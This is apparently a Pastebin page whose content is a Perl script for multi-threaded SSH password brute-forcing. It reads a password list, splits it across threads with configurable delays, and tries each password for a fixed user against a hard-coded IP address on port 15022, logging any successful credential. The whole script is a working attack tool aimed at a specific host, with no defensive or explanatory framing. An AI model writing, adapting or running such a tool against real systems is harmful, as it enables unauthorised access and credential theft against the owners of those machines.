Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use warnings;
- use Net::SSH2;
- use Log::Log4perl;
- use threads;
- # Initialize Logger
- my $log_conf = q(
- log4perl.rootLogger = DEBUG, LOG1
- log4perl.appender.LOG1 = Log::Log4perl::Appender::File
- log4perl.appender.LOG1.filename = mylog.log
- log4perl.appender.LOG1.mode = append
- log4perl.appender.LOG1.layout = Log::Log4perl::Layout::PatternLayout
- log4perl.appender.LOG1.layout.ConversionPattern = %d %p %m %n
- );
- Log::Log4perl::init(\$log_conf);
- my $logger = Log::Log4perl->get_logger();
- $logger->info("Starting Script !!");
- my ($numOfThreads, $delayToStart, $delayToConnect) = @ARGV;
- if (not defined $numOfThreads)
- {
- $numOfThreads=2;
- }
- if (not defined $delayToStart)
- {
- $delayToStart=0;
- }
- if (not defined $delayToConnect)
- {
- $delayToConnect=0;
- }
- my $host = "149.156.104.27";
- my $user = "user";
- my $passwordsFile = "passwords.txt";
- sleep($delayToStart);
- my @passwords = readPasswords($passwordsFile);
- my @threads = initializeThreads($numOfThreads,@passwords);
- $_->join for @threads;
- sub tryConnect
- {
- my ($host, $user, $password) = @_;
- print "Connecting to: ".$host."\n";
- my $ssh = Net::SSH2->new();
- $ssh->connect($host,15022) or $logger->info("Unable to Connect $_") and return;
- if($ssh->auth(username =>$user, password =>$password))
- {
- print "Connected\n";
- $logger->info("\n\nSUCCESS! USER: $user PASSWORD: $password\n\n");
- }
- else
- {
- print "Couldn't log in $user $password \n" ;
- $logger->info("Couldn't log in $user $password");
- }
- $ssh->disconnect();
- }
- sub readPasswords
- {
- my ($filename) = @_;
- my @passwords;
- open (my $fh, '<', $filename) or die "Couldn't open a file ";
- while (my $row = <$fh>)
- {
- chomp $row;
- push @passwords, $row;
- }
- return @passwords;
- }
- sub threadProcess
- {
- my @passwords = @_;
- foreach my $pass (@passwords)
- {
- sleep($delayToConnect);
- tryConnect($host,$user,$pass);
- }
- }
- sub initializeThreads
- {
- my ($numOfThreads, @passwords) = @_;
- my $numOfPasswords = @passwords;
- my $passwordsPerThread = int($numOfPasswords/ $numOfThreads);
- my $rest = $numOfPasswords % $numOfThreads;
- my $restCounter = 0;
- my @threads;
- if($numOfThreads > $numOfPasswords)
- {
- print "You are trying to run more threads ($numOfThreads) than there are passwords ($numOfPasswords)\n";
- print "Number of threads reduced to: $numOfPasswords \n";
- $numOfThreads = $numOfPasswords-1;
- }
- for (my $i=0; $i < $numOfThreads; $i++)
- {
- my $start = $i * $passwordsPerThread + $restCounter;
- if($rest>0)
- {
- $rest--;
- $restCounter++;
- }
- my $end = ($i+1) * $passwordsPerThread + $restCounter - 1;
- print $start, " .. ", $end,"\n";
- push @threads, threads->new(\&threadProcess, @passwords[$start .. $end])
- }
- return @threads;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement